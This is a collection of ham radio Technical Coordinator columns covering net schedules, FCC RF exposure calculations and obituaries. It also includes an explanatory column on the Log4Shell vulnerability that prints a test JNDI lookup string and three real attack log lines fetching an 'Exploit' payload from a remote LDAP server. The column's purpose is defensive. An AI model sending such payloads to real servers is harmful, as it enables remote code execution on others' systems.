The VARA P2P Session will take place from 6pm and 9pm Thursday. This week we will be on 3530.5 (Center) 3529.0 (Dial) again.

Please feel free to share this announcement with your fellow Hams. If you have an email list, or a club social media page, or however you connect to your fellow Hams, share this information with them.

WV8MT NCS, MIKE, SUGAR GROVE, PENDLETON, WV

EmComm Training (Thursdays)

For a 300/400 level class in Winlink, this is your net. This group was previously named ARC-EmComm-Training. Every week is a new exercise with different instructions. Exercises range from sending APRS IS position beacons to completing Hospital Bed forms to sending E-mail folder summaries. Detailed instructions are provided each week to complete the exercise, sometimes with an accompanying video. Check the groups.io link below for the next exercise and participate to learn more than you’ve ever wanted to know about using Winlink.

Since each week is different, a common message isn’t possible. They do use “tactical clearing houses” based on FEMA region. Ohio is in FEMA region 5 so the clearing house E-mail address is ETO-05 which stands for “EmCom Training Organization,” region 5. The first is always is the letter “O” and the second is a zero “0”. More information is available on their site for clearing houses outside Ohio.

Section Managers, including our own WB8LCD, were the subject of the February 17th ETO training event. The exercise involved completing and sending your Section Manager a form providing the requested information.

Groups.io: https://emcomm-training.groups.io/g/main
Website: https://www.emcomm-training.org/

Bob Bruninga, WB4APR, became a silent key on Monday, February 7, 2022. Though I never interacted with Bob, I have used technology he developed. He was a pioneer in the development of Automatic Packet Reporting System, otherwise known as APRS. Technology he developed brought many hams into the hobby using packet radio for real time position, telemetry tracking, and reporting. He started his ham radio journey in 1963 with Novice call WN4APR. According to Amateur Radio Newsline, Bob was a US Navy veteran and a senior research engineer at the US Naval Academy’s small satellite lab in Annapolis, Maryland. He has probably contributed to many more advances than just ham radio, in ways we may never, ever, know.

A correction to my article last month: I incorrectly stated the 3.45 GHz band spectrum auction amount. It should have been $22.5 billion, not trillion.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – January 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

New FCC RF exposure requirements went into effect May 3, 2021. Have you performed your station evaluation? There is much confusion and speculation around these requirements. Clarifications are still being sought as a good number of things remain unclear. Continuing research, observing presentations, and working with others have cleared up many concepts for me, while others remain clear as mud.

Since my article last May, everything there is still applicable: every ham needs to complete an assessment, the exposure rules haven’t changed, hams are no longer categorically excluded from these calculations, nothing is submitted to the FCC. Calculations only need to be available when a station inspection is performed. Handy talkies manufactured before May 2021 are all grandfathered. All of the calculation tools found online are still valid and applicable. Use the tool or method most applicable to your situation or knowledge.

One thing that’s been expressed, I’ve heard it through the Technical Specialists, is confusion on calculations or what exactly needs to be completed. Our Technical Specialists are asked for support. Jason – N8EI presented to his club, SARA, on adhering to the FCC exposure rules. Get in touch with Jason or I can forward the request if you’re interested in having such a presentation for your group.

In my previous article, I presented an exception calculation. While still valid, it is a lot more effort than most need to complete. Take the ARRL’s RF Exposure Calculator. It is a much simpler tool to complete an assessment. Returned numbers are very conservative estimates. Meaning they err heavily on the side of safety when compared to actual measured results. The minimum safe distance to an antenna maybe calculated at 40 ft. A full assessment might determine safe distance to be 33 ft. Don’t assume ‘I’m fine’ without evidence to back it up.

Jason, in addition to his presentation, put together a simple step-by-step walk-through of the calculations. His assessment includes radio information, determining feed line loss, antenna gain, and duty cycles. Each step features a description and links to common information such as typical feed line loss for different types of coax. Available on his project site and on GitHub for learning, validating the code, fixing issues, including any new and relevant parameters, or customize for your site.

One should assume “worst-case” when using these calculators. Ever talked for 30 minutes in a single transmission on FM? Highly unusual, but none-the-less, that is worst-case. Those outliers should be factored in these calculations.

N8EI’s RF Exposure Assessment Tool

Consider an HF station:

1. Station transmits on many different frequencies. Highest frequency is the upper part of 10 meters (29.700 MHz). The radio can do, at most, 100 watts connected to a 3 dBi gain horizontal antenna (both manufacturer specs). While transmitting in the FM portion (100% duty cycle), the operator yaps for 30 minutes then listens for 10 minutes before repeating the cycle.

Pretty rough to have someone talking for 30 minutes straight in a single key-down let-alone using full power at 100% duty. Assume full output power reaches the antenna. These are not real-world, but again, fit a worst-case scenario. For controlled environment, minimum safe distance from a human to the station’s antenna is 6.5 feet, uncontrolled is 14.6 feet. If the antenna is more than 14.6 feet in the air, like on a 50 ft tower, that station’s configuration is compliant. Print the results and include them with station records. This station’s evaluation is done.

Unless right next to your house, neighbors’ deck, a sidewalk, or other public area where the antenna is within the 14.6 ft minimum safe distance to the closest human, no additional work here is needed.

2. Same configuration, changing to SSB (20%) reduces the minimum safe distance to 2.9 ft controlled and 6.5 ft uncontrolled.

Minimum safe distance numbers are reduced with a reduction in duty cycle, frequency, gain, or power.

3. Changing the frequency from example #1 to the low end of 80m, 3.5 MHz, using AM (still 100% duty cycle). Minimum safe distances are 0.8 ft controlled and 1.7 ft uncontrolled.

This is an example showing how only a realistic change in frequency reduces the minimum safe distance to the same antenna.

VHF/UHF:

4. Using a 50-watt mobile radio on 146.520 MHz, the 2m national simplex calling frequency (FM, 100% duty cycle, 30/10 talk time, 3 dBi gain) is 4.7 ft controlled and 10.5 ft uncontrolled minimum safe distances.

5. Using a 50-watt mobile radio on 446.000 MHz, the 440 national simplex calling frequency (FM, 100% duty cycle, 30/10 talk time, 3 dBi gain) is 3.8 ft controlled and 8.6 ft uncontrolled minimum safe distances.

However, there is a catch with this last one. While these numbers are good safety guidelines, absorption by the human body is not measurable above 300 MHz. Results above that don’t mean much.

Remember uncontrolled is everyone in the general public and neighbors. Controlled is for hams, their families, and those who work with RF as an occupation.

Most stations with antennas in the air are going to be fine with the results from these tools. However, if the antenna is closer to the ground, in the house, or configured for NVIS, additional work would be needed. Not sure if people maybe within acceptable distances? Use a piece of string or rope to determine this. If anyone would be within 15 ft (rounded up, from the first example) while in operation, remediation suggestions are:

  • use or calculate lower frequencies if higher frequencies are not used
  • use or calculate lower duty cycles
  • use or calculate lower power
  • observe shorter transmit times
  • perform a full station evaluation to obtain a more realistic minimum safe distance or use antenna modeling applications such as EZNEC
  • rope-off or otherwise isolate the antenna, keeping people away from the structure
  • re-position the antenna in a better configuration/move further away from the environment
  • not use it when people will be around or near the antenna
  • point the elements in a different direction from the dwelling
  • move antenna further away from vehicle passengers
ARRL RF Exposure Calculator

What’s still not entirely clear with these requirements? Gain rating on many antennas, namely verticals, has been discouraged as it is hard to prove based on the mounting and radial systems. Gain is not published for many antennas. Now needed as part of calculations, hams are between a rock and a hard-place not having that information.

Absorption calculations of HTs are fairly complicated and responsibility of the manufacturer. It is unknown, though, what needs to be completed if the radio is modified, such as using a 3rd party aftermarket antenna.

There remains some confusion if “minimum safe distance” is from the center/feed point of the antenna or any part of the antenna. Those who have previously worked with these calculations indicate it is any radiating part of the antenna structure.

The ARRL has updated their RF Exposure page with more links and resources. Ed Hare – W1RFI wrote an article for the September 2021 edition of QST. He describes how to determine exception status and how to use the ARRL’s new RF Exposure calculator. Ed is the author of the out-of-print book but available as a PDF, RF Exposure and You.

Remember, evaluations (exceptions or calculations) need to be performed by May 3, 2023. New stations or ones with significant changes (power output, antenna type, operating on a new band, operating with a new mode) all require an assessment be completed before operating.

Earlier this month, the FCC announced the winning bidders from its 5G spectrum auction of the 3.45 GHz band. The auction, which was structured to be “diverse” and have competition front of mind, was the highest grossing auction in the FCC’s history at $22.5 trillion. The entire allocation for ham radio wasn’t lost (yet) as 3.3 – 3.5 GHz was the ham radio allocation with 3.45-3.5 GHz being the subject of the auction. Even though the spectrum was used mostly by AREDN mesh, hams didn’t have much of a justification for that spectrum. We don’t stand a chance as a group of hobbyists against $22.5 trillion as part of a money grab in the name of “competition.” Use it or lose it. We kinda used it and still lost it. Please consider supporting the ARRL Spectrum Defense Fund and projects that are justifying use of our spectrum.

“Hoot” – WB8VUL

Over the holidays, we lost two hams that were close to me and very active in the amateur radio community. William G. “Hoot” Gibson – WB8VUL was a long-standing member of the Wood County Amateur Radio Club. He held many positions in the club, was always participating in actives and promoting the club. Being a BGSU grad, he was always asking me about the university and how school was going. I would ask him how they used to do things and he would talk about history, which I always found fascinating. I enjoyed his stories and advice.

Tom – W8TAB (Busch Funeral)

Thomas A. Bishop – W8TAB was in a long-time battle with cancer. In our last E-mail exchange, he was not doing well and trying to manage. Tom was an alum of Westlake High School, as am I. He was fortunate enough to be part of the ham radio club which, unfortunately, was long gone by the time I roamed the halls. We were both in broadcasting and loved technology. He always had time to chat.

Both will be greatly missed.

Thanks for reading and 73… de Jeff – K8JTK

CORRECTION since publication: I incorrectly stated the 3.45 GHz band spectrum auction amount. It should have been $22.5 billion, not trillion. An update is included in next month’s article.

Ohio Section Journal – The Technical Coordinator – December 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Ever hear the quote from a famous computer security professional, Bruce Schneier, stating ‘vulnerabilities only ever get worse, they never get better?’ The Information Technology industry had it about as bad as it gets this month. A vulnerability in a Java logging utility, Log4j, obtained the highest severity rating, a CVSS score of 10. CVSS is a computer industry standard for rating vulnerabilities, 0 to 10 with 10 being the most severe. Dubbed Log4Shell, this trivial attack can gain shell level access to a system, described as the “the single biggest, most critical vulnerability ever” by Ars Technica.

Most any IT applications or services have a server to handle requests. This could be any of a web server, mail server, or even a game server hosted on the Internet. These servers generate logs such that administrators can review them to validate the server is functioning correctly. Logs are heavily relied upon when users report problems. Admins use logs to recreate events of the past as part of troubleshooting. This is referred to as the “/var/log” directory in Linux systems. Anytime a request is made from a device to a server, that generates a log entry. Apache web server logs contain things such as:

  • Source/users IP address
  • Date and time
  • Get or post. Get retrieves data from the resource while post does the opposite, sends data to the resource.
  • URL requested
  • HTTP status codes. This is where the 404 “not found” meme originates.
  • Size of the data returned
  • User agent which is accessing the resource, usually a browser. May include other bits like operating system information.

A real log example from my webserver where AllStar & Allmon are running (user’s IP address is replaced with 123.456.789.000):

123.456.789.000 - - [18/Dec/2021:23:41:42 +0000] "GET /server.php?nodes=1000,50394,1202,1203,1204 HTTP/1.1" 200 187395 "https://allmon2.k8jtk.org/link.php?nodes=1000,50394,1202,1203,1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57"

An administrator may want to take actions based on the logs. That’s where Log4j is added to the flow. The server will send logs to Log4j. Log4j parses logs. It decides to interpret or send them off for archival purposes in the file system or to a separate logging server.

A string such as the one below is passed to a web server. Log4j will act on it including download and execute any random payload that is returned.

${jndi:ldap://log4shell.huntress.com:1389/unique-identifier}

The above string similar to a test generated by the Huntress Labs Log4j/Log4Shell vulnerability tester. This is not showing how to exploit servers, anything that’s a secret, or anything that’s not already published online. In fact, the Huntress tool is open source on GitHub. If a similar string is entered into a web application and the Huntress Labs server subsequently sees a request with that unique identifier, it can be assumed the web application tested is vulnerable. A negative test does not necessarily mean the application is not vulnerable.

There is a one-liner test that can be run from the Command Line (CLI) on a Windows or Linux system called Log4j Checker. Note, however, the checker is beta code and the maintainer is not committed to maintaining the script. There is a post looking to transfer ownership as it took too much of their time.

The Huntress Labs tester is benign but the bad guys won’t be so nice. They can craft a string having Log4j reach out to any external resource, such as BadGuyMaliciousHost[dot]com, download and execute any payload the bag guys wish, effectively pwning the server (pronounced “owning”). Not everything that’s sent back to a server will be bad but there is a very high probability it will be.

Real log entries trying to exploit Log4Shell three different ways on my server are shown below. No, my web servers are not vulnerable but that doesn’t stop individuals from trying to find out. All requests originate from the same IP attempting to have the “Exploit” payload downloaded and executed on my server from another remote server. Relevant IPs are scrubbed, client is replaced with 111.222.333.444, remote server replaced with 555.666.777.888:

111.222.333.444 - - [22/Dec/2021:17:22:09 +0000] "GET /${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 404 5200 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
111.222.333.444 - - [22/Dec/2021:17:22:11 +0000] "GET / HTTP/1.1" 200 5259 "-" "${jndi:ldap://555.666.777.888:1389/Exploit}"
111.222.333.444 - - [22/Dec/2021:17:22:16 +0000] "GET /?s=${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 200 5259 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
Trivial exploit receives a trivially drawn logo in MS Paint
(Kevin Beaumont @GossiTheDog)

Servers can be attacked using a single line of text sent through a web application form, instant message, URL, chat window, or, as some clever minded individuals surmised, the name of an iPhone triggered the exploit as well. This confirmed Apple’s servers were vulnerable to attack. The device name of an iPhone was changed to a string which triggered the exploit. When the iPhone device registered and communicated with Apple’s servers, Log4j saw the string and acted upon it. Luckily the individual composed a benign payload to have Apple’s infrastructure induce a DNS request – which is something done all the time like when browsing the Internet. If that individual saw in logs, on a server he controlled, a DNS request for the hostname originating from Apple IP addresses, it’s was then known Apple’s servers were vulnerable. If there was no DNS request, could be assumed not vulnerable or the exploit was already patched.

Once a bad guy obtains access to a vulnerable system, they can do anything the user or administrator can do. Add programs, remove programs, delete files, install services to mine cryptocurrency, create botnets, send spam, and use the server in other illegal activities such as host ransomware.

Log4j needs updated immediately to log4j-2.16.0 or later on any system running an earlier version. Make sure Java is updated while you’re at it. Though patches have been released, the industry is at the mercy of vendors to release updates. A list is actively being updated of known vulnerable applications, services, appliances, and other devices. There are A LOT. If devices are found vulnerable but no updates are available, remediation steps should be taken like shutting down, replacing, or moving to an isolated network as to not be exposed to the Internet or other devices on the Local Area Network (LAN). The Canadian government shutdown nearly 4,000 websites in response. Few actions are more drastic as shutting down government websites and services. Shutting down your services and applications should not be out of the realm of possibilities.

As the cliché goes: this was a feature, not a bug in Log4j. Users wanted parsing as part of the plugin but that feature was poorly implemented. Java is the #1 development platform and runs on billions of devices according to the website. Anything running Java is potentially vulnerable. Big named companies and applications were found to be vulnerable in addition to Apple: Amazon, Tesla, Apache web servers, video game servers, Elastic Search, Twitter and no doubt thousands more.

This is not to minimize the impact of a random server setup in a closet that’s been forgotten about. They are just as vulnerable and easily exploited. As are the random Internet of Things (IoT) companies who released cheap Java based video cameras, doorbells, door lock controllers, internet connected audio devices, network devices, or digital video recorder devices – again, to name a very new. There they sit with ports forwarded from the open Internet, very likely opening a home network to attack.

Hacking a Minecraft server with Log4Shell (Huntress)

To say gamers aren’t good for anything, this exploit was first found in the very popular game called Minecraft. Someone was looking for ways to exploit Minecraft game servers. Using a malicious string in a Minecraft chat box, they were able to “pwn” the server.

Sad part in all of this: billion-dollar companies and technologies are relying on open-source programs maintained by volunteers. These volunteers bust their butts (for free) to fix this issue so that enterprises whom rely on this technology can continue to operate. If you have a commercial enterprise, it’s imperative companies should be kicking in, providing support or substantial donations to these projects.

Same is true for a favorite ham radio implementation. Provide time in testing, talent in support or quashing bugs, or treasure in donating to the project to keep the lights on. An obvious example to me is ham radio digital hotspots. Yes, you might have purchased a board or complete kit from a vendor or someone selling devices. Individuals who wrote the underlying code (G4KLX) and package it so it works as well as it does (Pi-STAR) do not see a penny from that sale. Please be generous to the projects that not only make ham radio enjoyable or advance ham radio technology, but ones you use for free in any capacity.

To that point, I found a reference to Ham-Pi containing a vulnerable Log4j version. Exposure should be minimal only being accessible on Local Area Network (LAN). In theory, the LAN should have less attack vectors. I’m sure someone has forwarded SSH, VNC, or some other port to Ham-Pi from the Internet, opening their network and devices to external attacks. Dave is going to release an update to Ham-Pi as his time allows.

As for other projects, it’s not any different across the industry, hams will be all in on a project and let the project get stale, not receiving updates. If a project is open source, searching the code for Log4j as a dependency is a sign that application is vulnerable. If the Log4j dependency can be updated externally to the latest version and the code re-compiled, that would mitigate the exploit. However, if there are only downloadable compiled binaries available – there’s no telling if it is or is not vulnerable to exploitation.

This vulnerability checked off a lot of boxes that most overlook or try to argue are non-issues. Those being: this poorly written feature has been vulnerable to exploit since 2013. This, again, proves vulnerabilities will exist for many years before someone finds them. Most will say the app is “secure.” Nothing is entirely secure, vulnerabilities just haven’t been found and aren’t known yet. Another is vulnerabilities exist only in web browsers, to say not in operating systems or other applications. While it’s true that most are disclosed because everything uses a web browser today, more eyes are looking at browsers for exploits. This is a case where it is not the web browser but a component of the Java logging framework used on backend systems.

That’s a lot of “potentially” vulnerable devices
(Kevin Beaumont @GossiTheDog)

Services and applications need to be run with least privileged accounts, non-root and non-administrative accounts. This is my gripe about many projects that run all as root and do not take the time to understand or figure out least-privileged permissions. Vulnerabilities certainly can and do exist anywhere humans have written a line of code or run a command.

I especially recommend not port forwarding from the public Internet due to reasons such as the ease of exploiting Log4Shell or any other trivially exploitable vulnerability yet to be discovered. Devices like video cameras or other IoT that require access by a few individuals should be setup with a tunnel using a private link VPN. Router and SD-WAN (software defined networking) technologies such as OpenWRT, DD-WRT, Tomato, pfSense, OPNsense, Zerotier, a Pi, or any other number of technologies that can establish a secure point-to-point tunnel eliminates exposure of devices to the Internet. Plenty of tutorials exist showing how to setup OpenVPN or Wireguard on consumer-based routing devices. There is absolutely no need to have random IoT devices on the Internet open to exploitation.

To make matters worse, I have found ham radio devices such as OpenSpots and Pi-Stars on the Internet – some with default passwords. DO NOT DO THIS (either)! These devices are setup with direct access from the Internet. Why? Users think it’s convenient. Convenience is the enemy of security. Some probably were setup with temporarily access from the Internet and never had that removed.

It is mostly unrealistic to host a web or other service for hundreds or thousands of users, requiring each to configure a VPN. A Pi-Star or AllStar node setup for club members to control would be an example. Devices hosting such services should be isolated in a proper DMZ, updated frequently, use encryption and strong passwords. For plenty of security tips and tricks, check out my October 2020 article.

Received at the K8JTK shack during the June 2021 ISS SSTV event

If you’re reading this before the end-of-the-year, there is still time to participate in the ARISS SSTV event. The International Space Station will be sending Slow Scan TV images starting Dec 26 about 18:25 UTC and ending Dec 31 about 17:05 UTC. These times are, of course, planned and subject to change based on crew schedules and availability. These events generate a lot of buzz and interest in SSTV and ham radio in general. If you don’t have a satellite tracking station, using an outdoor omni-directional antenna, an HT with 1/4 wave whip, or even better a hand-held directional (like ones used for foxhunting) will work for receiving signals.

All you need is a receiver tuned to 145.800 MHz FM, software to decode signals such as: MMSSTV on a PC (I also have getting started instructions), DroidSSTV for Android or SSTV for iOS. Satellite tracking programs such as: Gpredict or Nova on the PC, AmastDroid, or websites like N2YO and AstroViewer track the position and offer predictions of upcoming passes. When the ISS is nearly over head, start receiving images! The ARISS link above has information on uploading images for a QSL or for an award.

Thanks for reading. Happy New Year! 73… de Jeff – K8JTK